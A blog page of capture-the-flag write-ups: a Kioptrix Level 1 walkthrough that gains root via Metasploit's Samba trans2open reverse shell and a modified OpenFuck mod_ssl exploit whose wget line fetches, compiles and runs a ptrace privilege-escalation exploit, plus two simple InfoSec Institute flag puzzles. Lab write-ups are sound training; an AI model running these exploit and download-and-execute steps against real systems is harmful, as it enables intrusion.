Writeup for Kioptrix Virtual Machines from Vulnhub

lvl01_kioptrix_01

I have finally completed the writeup of all 5 Kioptrix Virtual Machines (VMs) from Vulnhub.com, I hope they are helpful to you.

While they are being categorised as “beginner” level challenges, I find them pretty challenging and definitely an effective training for me. I learnt many things through working on these VMs.

For your convenience, the following are the 5 writeups on Kioptrix machines,

Cheerios!

Advertisements

Writeup for Kioptrix: Level 1 (#1)

I came across the Kioptrix Virtual Machines (VM) on VulnHub today and find them pretty interesting. Hence, I attempted some penetration tests on the Kioptrix: Level 1 (#1) and managed to get root (the objective of the game).

A quick background on the VMs found on VulnHub – they are basically VMs which are vulnerable by design – specially created for security researchers or any security enthusiasts (like myself) to perform security testing on them, or to try out known exploits as a form of Proof of Concept (POC).

lvl01_kioptrix_01

I found 2 methods of getting root, one requires some modification to a readily obtained exploit code, while the other one uses the Metasploit tool to automatically get root using a generated payload.

Let’s get started. Before we go into either methods, we need to perform some general reconnaissance to understand what services are there.

Note #1: section description are in bold
Note #2: commands are in Italic form
Note #3: output are in block quote (just like this box)
Note #4: output are trimmed if they are too long.. this is to avoid confusing you with output that are way too long 🙂

Perform an nmap scan to discover target’s open ports & IP address
> nmap -sS -Pn 192.168.80.0/24 -T5

Nmap scan report for 192.168.80.132
Host is up (0.00065s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
1024/tcp open kdm
MAC Address: 00:0C:29:3C:27:52 (VMware)

[[[ Method 1 ]]]

Scan for existing SMB services (since port 139 is currently open)
> nbtscan 192.168.80.132

Doing NBT name scan for addresses from 192.168.80.132

IP address NetBIOS Name Server User MAC address 
------------------------------------------------------------------------------
192.168.80.132 KIOPTRIX <server> KIOPTRIX 00:00:00:00:00:00

Perform SMB enumeration (as shown above, there is SMB service on the host)
> enum4linux -a 192.168.80.132

 ======================================== 
| OS information on 192.168.80.132 |
 ======================================== 
[+] Got OS info for 192.168.80.132 from smbclient: Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
[+] Got OS info for 192.168.80.132 from srvinfo:
 KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
 platform_id : 500
 os version : 4.5
 server type : 0x9a03

Google for known vulnerability.

As obvious as it seems to be, yes, we should Google for known vulnerability. As shown in the output, the target system is using Samba 2.2.1a. We will Google for “samba version 2.2.1a vulnerability”

Check out CVE-2003-0201,Samba ‘call_trans2open’  Remote Buffer Overflow vulnerability.

lvl01_kioptrix_02

Now, we can simply launch Metasploit to do the job for you.

msf > msfconsole
msf > search 2003-0201
msf > use exploit/linux/samba/trans2open
msf exploit(trans2open) > set rhost 192.168.80.132
msf exploit(trans2open) > set payload generic/shell_reverse_tcp
msf exploit(trans2open) > exploit

[*] Started reverse TCP handler on 192.168.80.131:4444 
[*] 192.168.80.132:139 - Trying return address 0xbffffdfc...
[*] 192.168.80.132:139 - Trying return address 0xbffffcfc...
[*] 192.168.80.132:139 - Trying return address 0xbffffbfc...
[*] 192.168.80.132:139 - Trying return address 0xbffffafc...
[*] 192.168.80.132:139 - Trying return address 0xbffff9fc...
[*] 192.168.80.132:139 - Trying return address 0xbffff8fc...
[*] Command shell session 1 opened (192.168.80.131:4444 -> 192.168.80.132:1029) at 2016-10-24 11:06:50 -0400
[*] Command shell session 2 opened (192.168.80.131:4444 -> 192.168.80.132:1030) at 2016-10-24 11:06:51 -0400

id
uid=0(root) gid=0(root) groups=99(nobody)

[[[ Method 2 ]]]

Scan for vulnerability using Nikto
> nikto -h 192.168.80.132

+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

Google for known vulnerability.

Once again, we should Google for known vulnerability. As shown in the output, the target system is using a very outdated Apache web server version 1.3.20. We will Google for “apache 1.3.20 vulnerability”

Check out the Apache mod_ssl (< 2.8.7) OpenSSL – ‘OpenFuckV2.c’ Remote Exploit (2)

Search for the exploit via searchsploit
> searchsploit OpenFuck

-------------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms)
-------------------------------------------------- ----------------------------------
Apache mod_ssl (< 2.8.7) OpenSSL - 'OpenFuckV2.c' | ./unix/remote/764.c
Apache mod_ssl (< 2.8.7) OpenSSL - 'OpenFuck.c' R | ./unix/remote/21671.c
-------------------------------------------------- ----------------------------------

Modify the exploit code

Now, simply make a copy of the 764.c exploit and put it somewhere to check it out and make changes to it (because the ‘off-the-shell’ code over there is pretty outdated)
> cp /usr/share/exploitdb/platforms/unix/remote/764.c OpenFuck.c

Here, we need to make some modification to the code before compiling it. you can do it using any text editor. i like to use VIM so I will be running the following command.
> vim OpenFuck.c

From this part onwards, I need you to follow closely. I try to be as clear as possible – if you still got lost along the way, please feel free to leave a comment to clarify.

Below are the list of changes which are need to be made to the OpenFuck.c code,

  1. Include the openssl rc4 and md5 libraries
    • #include <openssl/rc4.h>
    • #include <openssl/md5.h>
  2. Modify the ‘wget’ method in the exploit itself because the url does not exist anymore. we need to update it to become the new URL to download the file.
  3. Search for ‘wget’, and then replace the URL to http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

Install Libraries for compiling the modified exploit code

Now we need to install the ssl-dev library into our server or else we will face difficulty compiling the code.
> apt-get install libssl-dev
> gcc -o OpenFuck OpenFuck.c -lcrypto

OpenFuck.c: In function ‘get_server_hello’:
OpenFuck.c:1011:26: warning: passing argument 2 of ‘d2i_X509’ from incompatible pointer type [-Wincompatible-pointer-types]
 ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
 ^
In file included from /usr/include/openssl/objects.h:965:0,
 from /usr/include/openssl/evp.h:94,
 from /usr/include/openssl/x509.h:73,
 from /usr/include/openssl/ssl.h:156,
 from OpenFuck.c:20:
/usr/include/openssl/x509.h:823:1: note: expected ‘const unsigned char ’ but argument is of type ‘unsigned char ’
 DECLARE_ASN1_FUNCTIONS(X509)
 ^

Now, you are done with the mod_ssl exploit!

Running the Exploit

Simply run the compiled file to view its usages,
> ./OpenFuck

: Usage: ./OpenFuck target box [port] [-c N]

target - supported box eg: 0x00
 box - hostname or IP address
 port - port for ssl connection
 -c open N connections. (use range 40-50 if u dont know)


Supported OffSet:
.
.
.
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
 0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
.
.
.

Of course, we are only interested in the following 2 types which are designed for Red Hat Linux, using apache version 1.3.20.

Trying out using the 0x6a option ….
> ./OpenFuck 0x6a 192.168.80.132 443 -c 40

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
Good Bye!

It doesn’t work. next we try the other option,

> ./OpenFuck 0x6b 192.168.80.132 443 -c 40

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304- 
--11:33:26-- http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
 => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... connected!
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c [following]
--11:33:26-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
 => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

0K ... 100% @ 1.87 MB/s

11:33:27 (1.87 MB/s) - `ptrace-kmod.c' saved [3921/3921]

[+] Attached to 6362
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

And it works. Congrats, you have root now. Either method should work.

 

InfoSec Institute CTF #1: Hacking for n00bz

n00bz_ctf_labs

Below are the full list of write-up for InfoSec Institute CTF #1: Hacking for n00bz, designed for CTF beginners to practice and test their skills.

I hope that they are helpful to you!

Hacking for n00bz – Level 14

Level 14 shows the exact same format of a file to be downloaded, just like some of the past few levels. So, let’s download it and get started with some analysis.

n00bz Level 14

Well, it seems like there is no file to be downloaded after all, upon clicking “Yes”, it basically opens up a phpMyAdmin SQL Dump with a lot of information, mainly the databases related to level 14. Strange enough, it seems like there was a WordPress blog being setup in this database before. There were many information in this dump, including the admin login credentials.

Among the entire list, one of the most suspicious record is definitely the id number 104 record of the “friends” table,

INSERT INTO `friends` (`id`, `name`, `address`, `status`) VALUES
(104, ‘\\u0069\\u006e\\u0066\\u006f\\u0073\\u0065\\u0063\\u005f\\u0066\\u006c\\u0061\\u0067\\u0069\\u0073\\u005f\\u0077\\u0068\\u0061\\u0074\\u0073\\u006f\\u0072\\u0063\\u0065\\u0072\\u0079\\u0069\\u0073\\u0074\\u0068\\u0069\\u0073’, ‘annoying’, ‘0x0a’);

Why is the name field made up from so many weird characters and numbers?

The string is actually a hexadecimal value being written into text. See the double backslash symbol, it is for displaying the string on HTML without having any syntax error. In order to see the “real” value, you should replace the double backslash symbols (\\) with single backslash symbols (\). You can do it yourself, or choose to copy from mine (I did it using notepad’s Find and Replace feature…)

\u0069\u006e\u0066\u006f\u0073\u0065\u0063\u005f\u0066\u006c\u0061\u0067\u0069\u0073\u005f\u0077\u0068\u0061\u0074\u0073\u006f\u0072\u0063\u0065\u0072\u0079\u0069\u0073\u0074\u0068\u0069\u0073

If you throw it into a Hexadecimal to ASCII converter tool, you will get the flag for level 14, “infosec_flagis_whatsorceryisthis

Back to write-up list for InfoSec Institute CTF #1: Hacking for n00bz

Hacking for n00bz – Level 13

Level 13 require us to find the backup file for the challenge. Well, looks like the search for the backup file is the challenge itself.

n00bz Level 13

I tried to navigate to some of the common web pages which I can think of, such as /levelthirteen-backup.php, /levelthirteen_backup.php, /archive.php, /archives.php, /backup.php, /backups.php, and etc., but there seems to be no luck. After that, I read some forums, seems like some people do quick backup based on dates or version, such as /levelthirteen.php.20160520 or /levelthirteen.php.v2.2, and etc.

And then there are also some people who conveniently add a “old” behind the file name… such as /levelthirteen.php.old, which in this case, is the location where the backup of level 13 is stored. Trial and error – checked!

As shared in my previous write-ups, I like to use file and strings on any files which I come across to perform a simple check. And that is exactly what I did.

strings levelthirteen.php.old

Based on the content of the backup file, we can see a new PHP code snippet which prompts us to download a mysterious file, “misc/imadecoy” – just the same way in the past challenges. I bet you are getting a hang of it by now. Let’s check what is that new mysterious file we just downloaded.

file imadecoy

Below is the output:

imadecoy: tcpdump capture file (little-endian) – version 2.4 (Linux “cooked”, capture length 65535)

Looks like it is a tcpdump capture file. Remember we used Wireshark to open and analyse the pcap file in level 6? Let’s do the same for this file.

First, you open the file and as you can see, there are a lot of DNS traffic. Let’s look for HTTP traffic by performing a packet display filter,

tcp contains http

n00bz Level 13

Looks like there are quite a number of files related to honeypy that were transmitted during the tcpdump capture. You will also notice that the source and destination are both 127.0.0.1 / localhost. If that is the case, you cannot go to the same website to see what are the contents. However, you can export the objects. Simply go to “File > Export Objects > HTTP…” and you will see the following prompt,

n00bz Level 13

You can choose to save all files and perform further analysis. For level 13, you will only require “HoneyPY.PNG” file as the flag is right in the file, flag is “infosec_flagis_morepackets

Back to write-up list for InfoSec Institute CTF #1: Hacking for n00bz